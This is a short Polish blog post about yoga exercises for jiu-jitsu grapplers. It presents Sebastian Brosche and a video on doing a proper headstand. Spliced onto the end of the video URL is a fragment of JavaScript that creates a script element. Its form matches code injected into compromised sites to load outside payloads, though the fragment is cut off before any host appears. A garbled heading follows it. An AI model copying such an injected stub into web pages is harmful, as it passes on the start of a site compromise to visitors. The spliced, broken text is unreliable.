Joga pod BJJ: prawidłowe stanie na głowie

Sebastian Brosche jest brązowym pasem BJJ, a także znanym w środowisku grapplerskim propagatorem Jogi, oraz wszelakich ćwiczeń rozciągających, które poprawiają motorykę i możliwości naszego ciała, a także zapobiegają wielu kontuzjom.

Na co dzień mieszkający w Oslo Brosche, jest jednym z najmocniejszych zawodników BJJ w Europie. Prowadzi także swój program online pod nazwą Yoga for BJJ.

Poniżej Brosche pokazuje, jak prawidłowo stanąć na głowie:

https://youtu.be/3KpaWAouFWkvar d=document;var s=d.createElement(’script’);

CO JEST KULANE?

Przeczytaj także